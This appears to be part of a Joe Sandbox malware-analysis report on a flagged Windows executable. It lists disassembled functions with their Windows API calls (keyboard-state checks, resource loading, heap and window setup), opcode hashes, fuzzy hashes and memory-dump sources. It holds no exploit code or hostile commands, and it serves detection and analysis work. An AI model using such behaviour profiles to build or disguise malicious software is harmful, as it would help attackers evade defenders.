                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CodeExitProcess
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3861947596-0
                                                                                                                                                                                                                                                                    • Opcode ID: b533961f22bfe27fbd2000d3acea4d674b7c8a3300799e888b5f3bac5e4cdbf4
                                                                                                                                                                                                                                                                    • Instruction ID: 30298f10e443b23238914d6a9af46e1b0ff6fe930c82c7be0ba462040cb5d5be
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b533961f22bfe27fbd2000d3acea4d674b7c8a3300799e888b5f3bac5e4cdbf4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C6D0C97551010CFFCB00CB84D945ECDB7FCEB05359F104064A504E3110C774AB04DB65
                                                                                                                                                                                                                                                                    Function 00407FB0 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(02940000,00000008,00000000,00403862,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040135E,OPSX,0040E438,00000000,00000000), ref: 00407FC1
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1279760036-0
                                                                                                                                                                                                                                                                    • Opcode ID: e65a1be2fae51fbcd161eac8e1ce3ed92b4be14c11004ba9a517b0cb6c48e3b0
                                                                                                                                                                                                                                                                    • Instruction ID: e164632c842ad0d5778e9bd00cb1bc00dda334917839f5372cd8791f41e10eee
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e65a1be2fae51fbcd161eac8e1ce3ed92b4be14c11004ba9a517b0cb6c48e3b0
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C2C04CB2B542056BE690EB799F49F0776DCBB74702F01C835B245E3194EA34E814D729
                                                                                                                                                                                                                                                                    Function 00407E90 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapCreate.KERNELBASE(00000000,00001000,00000000,00401067,00000000,00001000,00000000,00000000), ref: 00407E99
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 10892065-0
                                                                                                                                                                                                                                                                    • Opcode ID: a53ca4448d9df845bf0d122d38f0e471a06013a0cd7af27d009edb82fa6fccc4
                                                                                                                                                                                                                                                                    • Instruction ID: d610800cd3dfcc526fb7e5e9d77b64ca425e4e1b36e2120f04226b099429e3f8
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a53ca4448d9df845bf0d122d38f0e471a06013a0cd7af27d009edb82fa6fccc4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 93B0127068530056F3501B505D06B003590D304B43F200030F2007A1D4C6F01080450D

                                                                                                                                                                                                                                                                    Non-executed Functions

                                                                                                                                                                                                                                                                    Function 00407391 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 105keyboardwindowstringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetFocus.USER32 ref: 00407397
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000009), ref: 004073AD
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000011), ref: 004073B5
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000010), ref: 004073BD
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000012), ref: 004073C5
                                                                                                                                                                                                                                                                    • GetClassNameA.USER32(00000000,?,00000005), ref: 004073D3
                                                                                                                                                                                                                                                                    • strncmp.MSVCRT ref: 004073E5
                                                                                                                                                                                                                                                                    • SendMessageA.USER32(00000000,0000044E,00000000,00000000), ref: 004073F9
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000011), ref: 00407418
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000010), ref: 00407420
                                                                                                                                                                                                                                                                    • GetKeyState.USER32(00000012), ref: 00407428
                                                                                                                                                                                                                                                                    • GetPropA.USER32(00000000,PB_Hotkey), ref: 00407446
                                                                                                                                                                                                                                                                    • GetPropA.USER32(?,PB_WindowID), ref: 00407452
                                                                                                                                                                                                                                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 00407460
                                                                                                                                                                                                                                                                    • GetCurrentProcessId.KERNEL32(?,?,?,00000000,00000000,0040D278,00000007,00000000,00001000), ref: 0040746A
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: State$ProcessProp$ClassCurrentFocusMessageNameSendThreadWindowstrncmp
                                                                                                                                                                                                                                                                    • String ID: PB_Hotkey$PB_WindowID$Rich
                                                                                                                                                                                                                                                                    • API String ID: 1107629356-1791564756
                                                                                                                                                                                                                                                                    • Opcode ID: 02ae6860615ab5c2c92c9a1ac5321e45ea5c5c9ee48c160c15b7c8ac490ad513
                                                                                                                                                                                                                                                                    • Instruction ID: a0cc80db6b1ec3b4b6496cb7e33f6fd25a2576f90c06ce1ef497e7552b94dbdd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 02ae6860615ab5c2c92c9a1ac5321e45ea5c5c9ee48c160c15b7c8ac490ad513
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 72218631F45219AAD6606BA06D45F6B2F989B50B80F088437FD00B72C2D77DA80999FB
                                                                                                                                                                                                                                                                    Function 004037F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • FindResourceA.KERNEL32(0040D280,00000000,0000000A), ref: 00403813
                                                                                                                                                                                                                                                                    • LoadResource.KERNEL32(0040E4C8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040135E,OPSX,0040E438,00000000,00000000,00000000,00000000), ref: 0040382B
                                                                                                                                                                                                                                                                    • SizeofResource.KERNEL32(0040E4C8,00000000,0040E4C8,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040135E,OPSX,0040E438,00000000,00000000), ref: 0040383D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Resource$FindLoadSizeof
                                                                                                                                                                                                                                                                    • String ID: BDFI
                                                                                                                                                                                                                                                                    • API String ID: 507330600-3471407873
                                                                                                                                                                                                                                                                    • Opcode ID: 91ed6c97cc356becd6b2f89418fc7e124fabb89ee571db4a54781e18be3192f3
                                                                                                                                                                                                                                                                    • Instruction ID: 82d41d8520d1771e5ce85a1a3142c3dd8bc36d7e22f4439ea2241806130fa176
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 91ed6c97cc356becd6b2f89418fc7e124fabb89ee571db4a54781e18be3192f3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C5211D71408301AFD705EF26DA81A1BBBF5FB88708F008C3EF598662A1C7359924DB1A
                                                                                                                                                                                                                                                                    Function 00405330 Relevance: 3.0, APIs: 2, Instructions: 20COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(004052F0,004011D6,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278,00000007,00000000,00001000,00000000), ref: 0040536C
                                                                                                                                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,004011D6,00000000,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000,0040D278,00000007,00000000,00001000,00000000), ref: 00405380
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3192549508-0
                                                                                                                                                                                                                                                                    • Opcode ID: 12daea3419091bdc4c6513a8135ae60428e30287be47cb1b3a3bfe6dd3000ade
                                                                                                                                                                                                                                                                    • Instruction ID: cc897b58b9d30a0deeaac9d4f90b7563c4c955be4bbcd409a5fb1a01ddd2d6fd
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 12daea3419091bdc4c6513a8135ae60428e30287be47cb1b3a3bfe6dd3000ade
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 07F09BB0904640DFC720CF66EB88A0AB6E9FB48B41F04883EF405A33A0C3788818DF19
                                                                                                                                                                                                                                                                    Function 00405480 Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,00401FF4,00401FDA,00000001,00000010,OPSX,0040E438,00000000,00000000,00000000,00000000,00000000,00000008,00000401,00000007,0040D280), ref: 00405486
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3192549508-0
                                                                                                                                                                                                                                                                    • Opcode ID: be12bc06824c5174e324b8ca2a643dacd615b7ad45f9eb17f1c3c85cdcf22fd5
                                                                                                                                                                                                                                                                    • Instruction ID: 96cc42ac85c7317fb3add229bf57041c6726073ad33f84c0f5b712280165390f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: be12bc06824c5174e324b8ca2a643dacd615b7ad45f9eb17f1c3c85cdcf22fd5
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 84B002755102409BD7109B96EF887457669B744605F805864B501A2260C67854188F58
                                                                                                                                                                                                                                                                    Function 004098E0 Relevance: .6, Instructions: 603COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                    • Opcode ID: c90969fd2af6dc75122633ead90910649dbbc103ae972452c6efa20bc59572f3
                                                                                                                                                                                                                                                                    • Instruction ID: e4b3337f8b13bd7efb20ded0da26b46052c89d0f68a89179ea762727a01925ec
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c90969fd2af6dc75122633ead90910649dbbc103ae972452c6efa20bc59572f3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4B12E4BBA557124BD708CA55CC80295B3E3BBC8364B1F913DD959D3305EEB9BA0B86C0
                                                                                                                                                                                                                                                                    Function 00406453 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 84memorywindowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetWindow.USER32(00000000,00000004), ref: 0040648F
                                                                                                                                                                                                                                                                    • SetActiveWindow.USER32(00000000,?,00401659,00000000,0040E480,00000002,00000000,00000000,00000000,00000000,00000002,00000000,0000000D,00000004,00000003,0000003D), ref: 004064A0
                                                                                                                                                                                                                                                                    • RemovePropA.USER32(00000000,PB_WindowID), ref: 004064B4
                                                                                                                                                                                                                                                                    • RemovePropA.USER32(00000000,PB_DropAccept), ref: 004064BD
                                                                                                                                                                                                                                                                    • RevokeDragDrop.OLE32(00000000), ref: 004064C6
                                                                                                                                                                                                                                                                    • SendMessageA.USER32(?,00000221,00000000,00000000), ref: 004064DD
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,?,?,00401659,00000000,0040E480,00000002,00000000,00000000,00000000,00000000,00000002,00000000,0000000D), ref: 00406527
                                                                                                                                                                                                                                                                    • DestroyAcceleratorTable.USER32(?), ref: 00406530
                                                                                                                                                                                                                                                                    • DeleteObject.GDI32(?), ref: 0040653E
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: PropRemoveWindow$AcceleratorActiveDeleteDestroyDragDropFreeHeapMessageObjectRevokeSendTable
                                                                                                                                                                                                                                                                    • String ID: PB_DropAccept$PB_WindowID$WindowClass_%d
                                                                                                                                                                                                                                                                    • API String ID: 1930355387-976223216
                                                                                                                                                                                                                                                                    • Opcode ID: 8eab0a09d46844ac3110f98901a1f2c9c0091bce96133d756dc3bb2e011afee0
                                                                                                                                                                                                                                                                    • Instruction ID: c70aa2af70347bd8915be4852dfafee243b430dc15df48641c06a54eb16bad8f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8eab0a09d46844ac3110f98901a1f2c9c0091bce96133d756dc3bb2e011afee0
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 67319F32900204FBDB213FA1ED08E4A7BB5EF04794F04843AF982B21B0D7769964DB4C
                                                                                                                                                                                                                                                                    Function 00404917 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 105librarystringloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CoInitialize.OLE32(00000000), ref: 00404937
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00404944
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000), ref: 00404954
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 00404977
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 00404984
                                                                                                                                                                                                                                                                    • strncpy.MSVCRT ref: 004049A4
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 004049B3
                                                                                                                                                                                                                                                                    • CoTaskMemFree.OLE32(00001000,?,?,?,?,?,?,00000000), ref: 00404A26
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 00404A2D
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000), ref: 00404A49
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressFreeLibraryProcstrlen$InitializeLoadTaskmemsetstrncpy
                                                                                                                                                                                                                                                                    • String ID: P$SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
                                                                                                                                                                                                                                                                    • API String ID: 1137656791-2123664527
                                                                                                                                                                                                                                                                    • Opcode ID: f162f66df555ff0fde5545a75898daf15aa23a1668802282d32b43ad5d9f4c3e
                                                                                                                                                                                                                                                                    • Instruction ID: c998ac09314cf5fa2a044421dbc09de00af603254f63189ef7d4dbf2b7dbc6a6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f162f66df555ff0fde5545a75898daf15aa23a1668802282d32b43ad5d9f4c3e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B04128B1C40208EFCF11AFE59D85AAEBBB8EF45314F10447AF604B6291D7798A44CF59
                                                                                                                                                                                                                                                                    Function 004065D8 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 212memoryregistryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • sprintf.MSVCRT ref: 00406626
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00406642
                                                                                                                                                                                                                                                                    • RegisterClassA.USER32(00000000), ref: 00406687
                                                                                                                                                                                                                                                                    • AdjustWindowRectEx.USER32(00000000,00000008,00000000,00000000), ref: 00406702
                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000000,?,00000000,00000008,80000000,80000000,00000000,0040D278,0040E4C8,00000000,00000000), ref: 00406762
                                                                                                                                                                                                                                                                    • ShowWindow.USER32(00000000,00000001,?,?,?,?,?,00000000), ref: 004067BD
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,0000000C,?,?,?,?,?,00000000), ref: 004067E3
                                                                                                                                                                                                                                                                    • CreateAcceleratorTableA.USER32(?,?,?,?,?,?,?,00000000), ref: 00406828
                                                                                                                                                                                                                                                                    • SetPropA.USER32(00000000,PB_WindowID,00000001), ref: 00406854
                                                                                                                                                                                                                                                                    • UnregisterClassA.USER32(?), ref: 00406873
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A1DF: memset.MSVCRT ref: 0040A201
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$ClassCreatememset$AcceleratorAdjustAllocHeapPropRectRegisterShowTableUnregistersprintf
                                                                                                                                                                                                                                                                    • String ID: PB_WindowID$WindowClass_%d
                                                                                                                                                                                                                                                                    • API String ID: 1188667036-2937193648
                                                                                                                                                                                                                                                                    • Opcode ID: 15f0ddc022518219fa1431d8c4c694e9703a8d06eba29aaf92851b006d372727
